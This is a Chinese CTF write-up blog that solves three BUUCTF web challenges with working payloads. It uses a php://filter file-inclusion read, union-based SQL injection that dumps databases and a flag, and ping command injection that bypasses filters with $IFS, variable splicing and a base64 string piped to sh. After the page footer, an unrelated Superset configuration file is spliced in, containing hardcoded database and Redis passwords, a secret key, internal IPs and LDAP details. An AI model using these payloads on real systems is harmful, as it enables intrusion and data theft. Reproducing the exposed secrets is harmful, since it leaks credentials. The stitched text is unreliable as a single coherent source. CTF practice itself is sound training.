BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]

本文详细介绍了三个CTF挑战的解决过程,包括文件包含漏洞利用、SQL注入攻击和命令注入。在SecretFile中,通过分析源码和使用php://filter伪协议获取flag。LoveSQL部分展示了如何通过SQL注入获取数据库信息,最终找到flag。而在PingPingPing中,利用bash命令注入的变种绕过限制获取flag。这些案例揭示了Web安全中常见的漏洞利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[极客大挑战 2019]Secret File

image-20211212002054426

你想知道密码吗,我不想知道,所以我打开了f12

image-20211212002246964

发现有个事件,而这个事件后面就紧接着一串英文"oh you found me",那就没问题了,直接打开它,发现我们被跳转到了另外一个页面Archive_room.php

image-20211212002409994

这个界面有个按钮secret,点进去他说里面没有东西,叫我回去仔细再看一下,而这里我观看Archive_room.php这个页面的源码的时候明显是点击secret按钮后跳转到action.php页面去的,但是他却直接跳转到了end.php,这说明在action.php页面存在代码将我们自动跳转到end.php,而且是时间很短的那种

所以为了在action.php这个页面停留,我采取了使用burp抓包的方式,将页面停留在action.php

image-20211212003515048

抓包访问action.php页面他提示我们secr3t.php,那接下来就继续访问secr3t.php这个页面

image-20211212003634851[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9tXLP88-1639245874151)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211212004237722.png)]

然后他说flag放在了flag.php里面,那继续访问flag.php

image-20211212003742983

说明这是最后一个页面了,剩下的就是利用某种方法来找到藏在这个页面的flag

首先我们要知道一个知识,就是php文件中可以写前端代码比如说HTML,这种一般是显示出来的,也有些php后端代码,而这个php代码默认是不会显示的,除非你用某种函数,而他提示说flag就在这个页面说明,flag就藏在php代码里面

现在来审计secr3t.php的代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里存在一个文件包含include函数,而其中的参数file变量是我们认为可以控制的,这里禁用掉了切换目录的../tp字符input伪协议,以及data伪协议,然后我们又要知道flag.php的完整源代码,就想到了php://filter伪协议进行当前目录下任意文件读取

所以构造出的payload如下

~secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

image-20211212004952095

进行base64解码然后发现了flag

image-20211212005034524

[极客大挑战 2019]LoveSQL

image-20211212005409627

flag放在那个地方?先寻找注入点把

image-20211212005433944

很显然可以注入,还是加上#号后正常回显,然后尝试使用order by爆出列名

1'order by 4%23 //回显Unknown column '4' in 'order clause'
1‘order by 3 %23   //回显正常
说明当前查询的表为三列

接下来使用union select看是否有回显点

image-20211212005835899

有回显点,直接进行联合注入就行了

因为最开始他说他把flag放在了那个地方,所以我觉得很有必要将所有数据库的名字都注入一遍,防止flag不在当前数据库的情况
当前数据库名:
-1'union select 1,2,database()%23   //查出当前数据库为'geek'


所有数据库名:
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23                           //查出information_schema,mysql,performance_schema,test,geek,很显然还是我多虑了
    
    
geek数据库中的所有表:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 
//查出表为geekuser,l0ve1ysq1,以我的经验,flag必定在l0ve1ysq1里面


l0ve1ysq1表中所有字段:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23  //结果为id,username,password,那应该不是在password里面就是在另外一张表里面了
    
    
password列中的所有值:
-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1%23    
//结果wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{95322f13-6777-421d-a631-6505096ba78c}
这不是有了吗

image-20211212011003900

[GXYCTF2019]Ping Ping Ping

一听题目感觉就跟ping相关,或者是rce

image-20211212011300936

果然如此,他给出了个提示/?ip=,这很明显就是一个get传参,我们要上传一个ip的参数通过get的方式

然后构造payload

1;ls

image-20211212011452191

返现网站根目录有flag.php,然后我访问它发现这个页面没有任何回显,那毫无疑问这个flag就藏在这个flag.php里面

1;cat flag.php

image-20211212011623952

不能使用空格?然后我试着用%09(TAB键的URL编码)

image-20211212011718496

fxck my symbol?看来数字也不能使用了,一般绕过空格的方法又一下

<<>%20(space)%09(tab)$IFS$9${IFS}$IFS{cat,flag}

其中$IFS不含数字,所以构造payload如下

1;cat$IFSflag

image-20211212012402388

结果他又绕过了flag,然后我尝试了各种单引号,问号通配符都被过滤掉了,所以我就换一条思路,查看index.php的源码,看是否有什么

image-20211212013710348

/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

有了这串源码那就好办了,直接把正则匹配表达式放在网站上一解析

image-20211212014009739

所以直接通过变量拼接的方式进行构造flag.php这一关键字,所以构造出的payload如下

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

image-20211212020106355

  • 当然也可以使用base64绕过,虽然bash被过滤掉了,但是linux还有sh可以用
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image-20211212020231103

  • 还有一种,我个人感觉是最简单的一种

    1;cat$IFS$9`ls`
    

    image-20211212020345602

以下是Superset的配置文件,请检查是否启用了Guest Token 功能: #!/usr/bin/env python # -*- coding: utf-8 -*- &quot;&quot;&quot; 优化的Superset混合认证配置 &quot;&quot;&quot; import os import sys import logging import pymysql import ssl from urllib.parse import quote_plus from flask_sqlalchemy import SQLAlchemy # ============================================================================ # 基础配置 # ============================================================================ BASE_DIR = os.path.dirname(__file__) sys.path.append(BASE_DIR) # 环境变量 ENVIRONMENT = os.getenv(&quot;SUPERSET_ENV&quot;, &quot;development&quot;) # production/development IS_PRODUCTION = ENVIRONMENT == &quot;production&quot; IS_DEVELOPMENT = ENVIRONMENT == &quot;development&quot; # 版本和部署信息 SUPERSET_VERSION = os.getenv(&quot;SUPERSET_VERSION&quot;, &quot;4.1.2&quot;) DEPLOYMENT_ID = os.getenv(&quot;DEPLOYMENT_ID&quot;, &quot;default&quot;) print(f&quot;🔧 加载Superset配置 - 环境: {ENVIRONMENT}&quot;) # ============================================================================ # 数据库配置(优化版) # ============================================================================ pymysql.install_as_MySQLdb() db = SQLAlchemy() DB_USER = os.getenv(&quot;SUPERSET_DB_USER&quot;, &quot;superset&quot;) DB_PASSWORD = os.getenv(&quot;SUPERSET_DB_PASSWORD&quot;, &quot;SupersetPassword2025!&quot;) DB_HOST = os.getenv(&quot;SUPERSET_DB_HOST&quot;, &quot;10.18.6.120&quot;) DB_PORT = int(os.getenv(&quot;SUPERSET_DB_PORT&quot;, &quot;3306&quot;)) DB_NAME = os.getenv(&quot;SUPERSET_DB_NAME&quot;, &quot;superset&quot;) SQLALCHEMY_DATABASE_URI = ( f&quot;mysql+pymysql://{DB_USER}:{DB_PASSWORD}@{DB_HOST}:{DB_PORT}/{DB_NAME}&quot; &quot;?charset=utf8mb4&quot; ) # 优化的数据库引擎配置 SQLALCHEMY_ENGINE_OPTIONS = { &quot;pool_pre_ping&quot;: True, &quot;pool_recycle&quot;: 3600, &quot;pool_timeout&quot;: 30, &quot;max_overflow&quot;: 20, &quot;pool_size&quot;: 10, &quot;echo&quot;: False, &quot;isolation_level&quot;: &quot;READ_COMMITTED&quot;, &quot;connect_args&quot;: { &quot;connect_timeout&quot;: 10, &quot;read_timeout&quot;: 60, &quot;write_timeout&quot;: 60, &quot;charset&quot;: &quot;utf8mb4&quot;, # 移除了collation参数 &quot;autocommit&quot;: False, &quot;sql_mode&quot;: &quot;STRICT_TRANS_TABLES,NO_ZERO_DATE,NO_ZERO_IN_DATE,ERROR_FOR_DIVISION_BY_ZERO&quot;, } } # SQLAlchemy配置优化 SQLALCHEMY_TRACK_MODIFICATIONS = False SQLALCHEMY_RECORD_QUERIES = False SQLALCHEMY_ECHO = False # 数据库健康检查 DATABASE_HEALTH_CHECK_ENABLED = True DATABASE_HEALTH_CHECK_INTERVAL = 30 # ============================================================================ # SQLLab专用配置(修复前端错误) # ============================================================================ # SQLLab基础配置 ENABLE_SQLLAB = True SQLLAB_BACKEND_PERSISTENCE = True SQLLAB_TIMEOUT = 300 SQL_MAX_ROW = 10000 SQLLAB_DEFAULT_DBID = None SQLLAB_CTAS_NO_LIMIT = True SQLLAB_QUERY_COST_ESTIMATES_ENABLED = False # 关闭查询成本估算 SQLLAB_ASYNC_TIME_LIMIT_SEC = 600 # 防止SQLLab错误的配置 PREVENT_UNSAFE_DB_CONNECTIONS = False SQLLAB_VALIDATION_TIMEOUT = 10 ENABLE_TEMPLATE_PROCESSING = True # 查询结果配置 SUPERSET_WEBSERVER_TIMEOUT = 300 SUPERSET_WORKERS = 1 if IS_DEVELOPMENT else 4 # ============================================================================ # 安全配置 (多层防护) # ============================================================================ SECRET_KEY = os.environ.get( &quot;SUPERSET_SECRET_KEY&quot;, &quot;FPwbFnYKL6wQTD0vtQfGBw7Y530FUfufsnHwXQTLlrrn8koVcctkMwiK&quot;, ) # 安全检查 if len(SECRET_KEY) &lt; 32: raise ValueError(&quot;SECRET_KEY长度必须至少32位&quot;) if IS_DEVELOPMENT: logging.debug(f&quot;SECRET_KEY已设置: {&#39;*&#39; * len(SECRET_KEY)}&quot;) # 禁用安全警告弹框 SECURITY_WARNING_BANNER = False # 或者设置为空字符串 SECURITY_WARNING_MESSAGE = &quot;&quot; # ============================================================================ # Redis和异步查询检查 # ============================================================================ # 检查Redis可用性 REDIS_HOST = os.getenv(&quot;REDIS_HOST&quot;, &quot;localhost&quot;) REDIS_PORT = int(os.getenv(&quot;REDIS_PORT&quot;, &quot;6379&quot;)) REDIS_PASSWORD = os.getenv(&quot;REDIS_PASSWORD&quot;, &quot;minth@888&quot;) # Redis密码 REDIS_DB = int(os.getenv(&quot;REDIS_DB&quot;, &quot;0&quot;)) # URL编码密码以处理特殊字符 REDIS_PASSWORD_ENCODED = quote_plus(REDIS_PASSWORD) if REDIS_PASSWORD else &quot;&quot; # 构建Redis连接URL if REDIS_PASSWORD: REDIS_URL = f&quot;redis://:{REDIS_PASSWORD_ENCODED}@{REDIS_HOST}:{REDIS_PORT}&quot; else: REDIS_URL = f&quot;redis://{REDIS_HOST}:{REDIS_PORT}&quot; # 检查Redis可用性 REDIS_AVAILABLE = False try: import redis # 创建Redis连接(带密码) r = redis.Redis( host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD if REDIS_PASSWORD else None, socket_timeout=5, socket_connect_timeout=5 ) # 测试连接 r.ping() REDIS_AVAILABLE = True print(f&quot;✅ Redis连接成功: {REDIS_HOST}:{REDIS_PORT} (已认证)&quot;) # 测试基本操作 test_key = &quot;superset_test&quot; r.set(test_key, &quot;test_value&quot;, ex=10) # 10秒过期 if r.get(test_key): print(&quot;✅ Redis读写测试成功&quot;) r.delete(test_key) except Exception as e: print(f&quot;⚠️ Redis连接失败: {e}&quot;) REDIS_AVAILABLE = False # ============================================================================ # 特性标志 # ============================================================================ FEATURE_FLAGS = { # SQLLab核心功能 &quot;ENABLE_SQLLAB&quot;: True, &quot;SQLLAB_BACKEND_PERSISTENCE&quot;: True, &quot;ESTIMATE_QUERY_COST&quot;: False, # 关闭可能导致ROLLBACK的功能 &quot;QUERY_COST_FORMATTERS_BY_ENGINE&quot;: {}, &quot;RESULTS_BACKEND_USE_MSGPACK&quot;: True, # 🔧 强制启用msgpack # 权限和安全 &quot;DASHBOARD_RBAC&quot;: True, &quot;ENABLE_EXPLORE_JSON_CSRF_PROTECTION&quot;: True, &quot;ENABLE_TEMPLATE_PROCESSING&quot;: True, &quot;ROW_LEVEL_SECURITY&quot;: True, # 行级安全 # 嵌入功能 &quot;EMBEDDED_SUPERSET&quot;: True, &quot;ALLOW_DASHBOARD_EMBEDDING&quot;: True, &quot;EMBEDDED_IN_FRAME&quot;: True, # 过滤器和交互 &quot;DASHBOARD_NATIVE_FILTERS&quot;: True, &quot;DASHBOARD_CROSS_FILTERS&quot;: True, &quot;ENABLE_FILTER_BOX_MIGRATION&quot;: True, &quot;DASHBOARD_FILTERS&quot;: True, # 异步查询 禁用 &quot;GLOBAL_ASYNC_QUERIES&quot;: False , &quot;ASYNC_QUERIES&quot;: False, &quot;SCHEDULED_QUERIES&quot;: False, # 高级功能 暂时不设置 &quot;ENABLE_JAVASCRIPT_CONTROLS&quot;: True, &quot;DYNAMIC_PLUGINS&quot;: False, &quot;THUMBNAILS&quot;: REDIS_AVAILABLE, &quot;SCREENSHOTS&quot;: REDIS_AVAILABLE, # 开发和调试(仅开发环境) &quot;ENABLE_REACT_CRUD_VIEWS&quot;: IS_DEVELOPMENT, &quot;ENABLE_BROAD_ACTIVITY_ACCESS&quot;: IS_DEVELOPMENT, } # ============================================================================ # 禁用异步查询配置&middot;RESULTS_BACKEND # ============================================================================ RESULTS_BACKEND = None CELERY_CONFIG = None # ============================================================================ # 结果处理修复配置 # ============================================================================ RESULTS_BACKEND_USE_MSGPACK = True import json class SupersetJSONEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, set): return list(obj) if hasattr(obj, &#39;isoformat&#39;): return obj.isoformat() if hasattr(obj, &#39;__dict__&#39;): return obj.__dict__ return super().default(obj) JSON_DEFAULT = SupersetJSONEncoder().encode SQLLAB_RESULTS_BACKEND_PERSISTENCE = True SQLLAB_TIMEOUT = 300 SUPERSET_SQLLAB_TIMEOUT = 300 print(&quot;🔧 结果处理配置已修复&quot;) # ============================================================================ # LDAP认证配置(增强版) # ============================================================================ from flask_appbuilder.security.manager import AUTH_LDAP AUTH_TYPE = AUTH_LDAP # LDAP服务器配置 AUTH_LDAP_SERVER = &quot;ldap://10.18.2.50:389&quot; AUTH_LDAP_USE_TLS = False # 可根据服务器能力调整 # 用户名和搜索配置 AUTH_LDAP_USERNAME_FORMAT = &quot;%(username)[email protected]&quot; AUTH_LDAP_SEARCH = &quot;dc=minth,dc=intra&quot; AUTH_LDAP_SEARCH_FILTER = &quot;(sAMAccountName={username})&quot; # 用户属性映射 AUTH_LDAP_UID_FIELD = &quot;sAMAccountName&quot; AUTH_LDAP_FIRSTNAME_FIELD = &quot;givenName&quot; AUTH_LDAP_LASTNAME_FIELD = &quot;sn&quot; AUTH_LDAP_EMAIL_FIELD = &quot;mail&quot; # LDAP行为配置 AUTH_LDAP_ALLOW_SELF_SIGNED = True AUTH_LDAP_ALWAYS_SEARCH = True # 用户管理 AUTH_USER_REGISTRATION = False AUTH_USER_REGISTRATION_ROLE = &quot;Public&quot; AUTH_ROLES_SYNC_AT_LOGIN = True # 角色映射 AUTH_ROLES_MAPPING = { &quot;cn=SupersetAdmins,ou=Groups,dc=minth,dc=intra&quot;: [&quot;Admin&quot;], &quot;cn=DataAnalysts,ou=Groups,dc=minth,dc=intra&quot;: [&quot;Alpha&quot;], &quot;cn=DataViewers,ou=Groups,dc=minth,dc=intra&quot;: [&quot;Gamma&quot;], &quot;cn=ReportViewers,ou=Groups,dc=minth,dc=intra&quot;: [&quot;Public&quot;], } AUTH_LDAP_GROUP_FIELD = &quot;memberOf&quot; # ============================================================================ # 混合安全管理器 # ============================================================================ try: from security.hybrid_security_manager import HybridSecurityManager CUSTOM_SECURITY_MANAGER = HybridSecurityManager # 指定数据库认证用户(与HybridSecurityManager中的DB_AUTH_USERS对应) DB_AUTH_USERS = [&#39;admin&#39;,&#39;superset&#39;] # LDAP连接池和缓存配置 # AUTH_LDAP_POOL_SIZE = 10 # AUTH_LDAP_POOL_RETRY_MAX = 3 # AUTH_LDAP_POOL_RETRY_DELAY = 30 # AUTH_LDAP_CACHE_ENABLED = True # AUTH_LDAP_CACHE_TIMEOUT = 300 # 认证策略配置 AUTH_STRATEGY = { &#39;db_first_users&#39;: DB_AUTH_USERS, &#39;ldap_fallback_enabled&#39;: True, &#39;cache_enabled&#39;: REDIS_AVAILABLE, # 只有Redis可用时才启用缓存 &#39;cache_timeout&#39;: 300, &#39;max_login_attempts&#39;: 5, &#39;lockout_duration&#39;: 900, # 15分钟 } print(&quot;✅ 混合安全管理器已启用&quot;) except ImportError as e: print(f&quot;⚠️ 混合安全管理器导入失败,使用标准LDAP认证: {e}&quot;) CUSTOM_SECURITY_MANAGER = None # ============================================================================ # Guest Token配置(安全优化版) # ============================================================================ GUEST_TOKEN_JWT_SECRET = SECRET_KEY GUEST_TOKEN_JWT_ALGO = &quot;HS256&quot; GUEST_TOKEN_JWT_EXP_DELTA_SECONDS = 3600 GUEST_TOKEN_HEADER_NAME = &quot;X-GuestToken&quot; # 强制设置AUD验证 SUPERSET_BASE_URL = os.getenv(&quot;SUPERSET_BASE_URL&quot;, None) GUEST_TOKEN_JWT_AUD = SUPERSET_BASE_URL # Guest Token增强配置 GUEST_TOKEN_AUTO_REFRESH = True GUEST_TOKEN_REFRESH_THRESHOLD = 300 # 5分钟内过期自动新 GUEST_TOKEN_MAX_CONCURRENT = 100 # 最大并发Token数 # ============================================================================ # 缓存配置(修复版) # ============================================================================ if REDIS_AVAILABLE: # 生产环境Redis缓存 CACHE_CONFIG = { &#39;CACHE_TYPE&#39;: &#39;redis&#39;, &#39;CACHE_REDIS_HOST&#39;: REDIS_HOST, &#39;CACHE_REDIS_PORT&#39;: REDIS_PORT, &#39;CACHE_REDIS_DB&#39;: REDIS_DB, # 使用DB 0作为缓存 &#39;CACHE_DEFAULT_TIMEOUT&#39;: 300, &#39;CACHE_KEY_PREFIX&#39;: f&#39;superset_{DEPLOYMENT_ID}_&#39;, } # 如果有密码,添加密码配置 if REDIS_PASSWORD: CACHE_CONFIG[&#39;CACHE_REDIS_PASSWORD&#39;] = REDIS_PASSWORD CACHE_CONFIG[&#39;CACHE_REDIS_URL&#39;] = f&quot;{REDIS_URL}/{REDIS_DB}&quot; print(f&quot;✅ Redis缓存配置: {REDIS_HOST}:{REDIS_PORT}/{REDIS_DB}&quot;) else: # 开发环境或Redis不可用时使用简单缓存 CACHE_CONFIG = { &#39;CACHE_TYPE&#39;: &#39;simple&#39;, &#39;CACHE_DEFAULT_TIMEOUT&#39;: 60, } print(&quot;ℹ️ 使用简单缓存&quot;) # ============================================================================ # 安全头配置(生产环境优化) # ============================================================================ # 消除CSP警告 CONTENT_SECURITY_POLICY_WARNING = False if IS_PRODUCTION: # 生产环境:最严格安全配置 TRUSTED_DOMAINS = [d.strip() for d in os.getenv(&quot;TRUSTED_DOMAINS&quot;, &quot;&quot;).split(&quot;,&quot;) if d.strip()] HTTP_HEADERS = { &quot;X-Frame-Options&quot;: &quot;SAMEORIGIN&quot;, # 更安全的默认值 &quot;X-XSS-Protection&quot;: &quot;1; mode=block&quot;, &quot;X-Content-Type-Options&quot;: &quot;nosniff&quot;, &quot;Strict-Transport-Security&quot;: &quot;max-age=31536000; includeSubDomains; preload&quot;, &quot;Referrer-Policy&quot;: &quot;strict-origin-when-cross-origin&quot;, &quot;Permissions-Policy&quot;: &quot;geolocation=(), microphone=(), camera=()&quot;, } # 如果有信任域名,则允许特定域名 if TRUSTED_DOMAINS: HTTP_HEADERS[&quot;X-Frame-Options&quot;] = f&quot;ALLOW-FROM {TRUSTED_DOMAINS[0]}&quot; TALISMAN_ENABLED = True TALISMAN_CONFIG = { &#39;content_security_policy&#39;: { &#39;default-src&#39;: &quot;&#39;self&#39;&quot;, &#39;script-src&#39;: &quot;&#39;self&#39; &#39;unsafe-inline&#39; &#39;unsafe-eval&#39;&quot;, &#39;style-src&#39;: &quot;&#39;self&#39; &#39;unsafe-inline&#39;&quot;, &#39;img-src&#39;: &quot;&#39;self&#39; data: blob: https:&quot;, &#39;font-src&#39;: &quot;&#39;self&#39; data:&quot;, &#39;frame-ancestors&#39;: TRUSTED_DOMAINS or [&quot;&#39;self&#39;&quot;], &#39;connect-src&#39;: &quot;&#39;self&#39;&quot;, }, &#39;force_https&#39;: os.getenv(&quot;FORCE_HTTPS&quot;, &quot;false&quot;).lower() == &quot;true&quot;, &#39;strict_transport_security&#39;: True, &#39;strict_transport_security_max_age&#39;: 31536000, } # CORS严格配置 CORS_ORIGIN_ALLOW_ALL = False CORS_ORIGIN_WHITELIST = TRUSTED_DOMAINS ENABLE_CORS = len(TRUSTED_DOMAINS) &gt; 0 else: # 开发环境:宽松配置 HTTP_HEADERS = { &quot;X-Frame-Options&quot;: &quot;&quot;, &quot;X-XSS-Protection&quot;: &quot;1; mode=block&quot;, } TALISMAN_ENABLED = False CORS_ORIGIN_ALLOW_ALL = True ENABLE_CORS = True # ============================================================================ # 日志配置(生产级) # ============================================================================ LOG_DIR = os.getenv(&quot;SUPERSET_LOG_DIR&quot;, &quot;/app/superset/logs&quot;) os.makedirs(LOG_DIR, exist_ok=True) LOG_LEVEL = &quot;INFO&quot; if IS_PRODUCTION else &quot;DEBUG&quot; LOG_FORMAT = &quot;%(asctime)s [%(levelname)s] %(name)s:%(lineno)d - %(funcName)s() - %(message)s&quot; LOGGING_CONFIG = { &quot;version&quot;: 1, &quot;disable_existing_loggers&quot;: False, &quot;formatters&quot;: { &quot;detailed&quot;: { &quot;format&quot;: LOG_FORMAT, &quot;datefmt&quot;: &quot;%Y-%m-%d %H:%M:%S&quot;, }, &quot;simple&quot;: { &quot;format&quot;: &quot;%(levelname)s - %(message)s&quot;, }, &quot;json&quot;: { &quot;format&quot;: &quot;%(asctime)s %(name)s %(levelname)s %(message)s&quot;, }, }, &quot;handlers&quot;: { &quot;console&quot;: { &quot;level&quot;: LOG_LEVEL, &quot;class&quot;: &quot;logging.StreamHandler&quot;, &quot;formatter&quot;: &quot;simple&quot; if IS_DEVELOPMENT else &quot;json&quot;, }, &quot;app_file&quot;: { &quot;level&quot;: &quot;INFO&quot;, &quot;class&quot;: &quot;logging.handlers.RotatingFileHandler&quot;, &quot;filename&quot;: f&quot;{LOG_DIR}/superset.log&quot;, &quot;maxBytes&quot;: 10485760, # 20MB &quot;backupCount&quot;: 5, &quot;formatter&quot;: &quot;detailed&quot;, }, &quot;auth_file&quot;: { &quot;level&quot;: &quot;INFO&quot;, &quot;class&quot;: &quot;logging.handlers.RotatingFileHandler&quot;, &quot;filename&quot;: f&quot;{LOG_DIR}/auth.log&quot;, &quot;maxBytes&quot;: 10485760, # 10MB &quot;backupCount&quot;: 5, &quot;formatter&quot;: &quot;detailed&quot;, }, &quot;error_file&quot;: { &quot;level&quot;: &quot;ERROR&quot;, &quot;class&quot;: &quot;logging.handlers.RotatingFileHandler&quot;, &quot;filename&quot;: f&quot;{LOG_DIR}/error.log&quot;, &quot;maxBytes&quot;: 10485760, &quot;backupCount&quot;: 10, &quot;formatter&quot;: &quot;detailed&quot;, }, # &quot;security_file&quot;: { # &quot;level&quot;: &quot;WARNING&quot;, # &quot;class&quot;: &quot;logging.handlers.RotatingFileHandler&quot;, # &quot;filename&quot;: f&quot;{LOG_DIR}/security.log&quot;, # &quot;maxBytes&quot;: 10485760, # &quot;backupCount&quot;: 10, # &quot;formatter&quot;: &quot;detailed&quot;, # }, }, &quot;loggers&quot;: { &quot;superset&quot;: { &quot;level&quot;: LOG_LEVEL, &quot;handlers&quot;: [&quot;app_file&quot;, &quot;console&quot;], &quot;propagate&quot;: False, }, &quot;flask_appbuilder.security&quot;: { &quot;level&quot;: &quot;INFO&quot;, &quot;handlers&quot;: [&quot;auth_file&quot;, &quot;console&quot;], &quot;propagate&quot;: False, }, &quot;security_manager&quot;: { &quot;level&quot;: LOG_LEVEL, &quot;handlers&quot;: [&quot;auth_file&quot;, &quot;console&quot;], &quot;propagate&quot;: False, }, &quot;werkzeug&quot;: { &quot;level&quot;: &quot;WARNING&quot;, &quot;handlers&quot;: [&quot;console&quot;], &quot;propagate&quot;: False, }, }, &quot;root&quot;: { &quot;level&quot;: LOG_LEVEL, &quot;handlers&quot;: [&quot;console&quot;], }, } # ============================================================================ # 业务配置 # ============================================================================ # 角色设置 GUEST_ROLE_NAME = &quot;Public&quot; PUBLIC_ROLE_LIKE = &quot;Gamma&quot; PUBLIC_ROLE_LIKE_GAMMA = True # 国际化 BABEL_DEFAULT_LOCALE = &quot;zh&quot; BABEL_DEFAULT_FOLDER = &quot;babel/translations&quot; LANGUAGES = { &quot;en&quot;: {&quot;flag&quot;: &quot;us&quot;, &quot;name&quot;: &quot;English&quot;}, &quot;zh&quot;: {&quot;flag&quot;: &quot;cn&quot;, &quot;name&quot;: &quot;Chinese&quot;}, } # 系统设置 SUPERSET_DEFAULT_TIMEZONE = &quot;Asia/Shanghai&quot; SUPERSET_WEBSERVER_TIMEOUT = 120 if IS_PRODUCTION else 60 # 基础功能启用 ENABLE_CSRF = True ENABLE_SWAGGER = not IS_PRODUCTION # 生产环境关闭Swagger ENABLE_GUEST_TOKEN = True EMBEDDED_SUPERSET = True ALLOW_DASHBOARD_EMBEDDING = True # ============================================================================ # 环境特定配置 # ============================================================================ if IS_PRODUCTION: # 生产环境优化 WTF_CSRF_TIME_LIMIT = 7200 SEND_FILE_MAX_AGE_DEFAULT = 31536000 # 数据源连接超时 SQL_MAX_ROW = 100000 SQLLAB_TIMEOUT = 300 SUPERSET_WORKERS = int(os.getenv(&quot;SUPERSET_WORKERS&quot;, &quot;4&quot;)) else: # 开发环境配置 WTF_CSRF_TIME_LIMIT = None SQL_MAX_ROW = 10000 SQLLAB_TIMEOUT = 60 # ============================================================================ # 启动验证 # ============================================================================ def validate_config(): &quot;&quot;&quot;配置验证&quot;&quot;&quot; errors = [] # 必需的环境变量检查 required_env_vars = [&quot;SUPERSET_SECRET_KEY&quot;] if IS_PRODUCTION: required_env_vars.extend([&quot;SUPERSET_BASE_URL&quot;, &quot;TRUSTED_DOMAINS&quot;]) for var in required_env_vars: if not os.getenv(var): errors.append(f&quot;缺少必需的环境变量: {var}&quot;) # 安全配置检查 if IS_PRODUCTION and CORS_ORIGIN_ALLOW_ALL: errors.append(&quot;生产环境不应允许所有来源的CORS请求&quot;) if errors: raise ValueError(f&quot;配置验证失败:\n&quot; + &quot;\n&quot;.join(f&quot; - {error}&quot; for error in errors)) # 执行配置验证 try: validate_config() print(f&quot;🚀 Superset配置加载完成 - 环境: {ENVIRONMENT}&quot;) print(f&quot; 数据库: {DB_HOST}:{DB_PORT}/{DB_NAME}&quot;) print(f&quot; 认证: LDAP混合模式&quot;) print(f&quot; 缓存: {&#39;Redis&#39; if IS_PRODUCTION else &#39;Simple&#39;}&quot;) print(f&quot; 日志级别: {LOG_LEVEL}&quot;) except ValueError as e: print(f&quot;❌ 配置验证失败: {e}&quot;) if IS_PRODUCTION: raise # 生产环境严格要求 else: print(&quot;⚠️ 开发环境忽略配置错误&quot;)
06-12
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值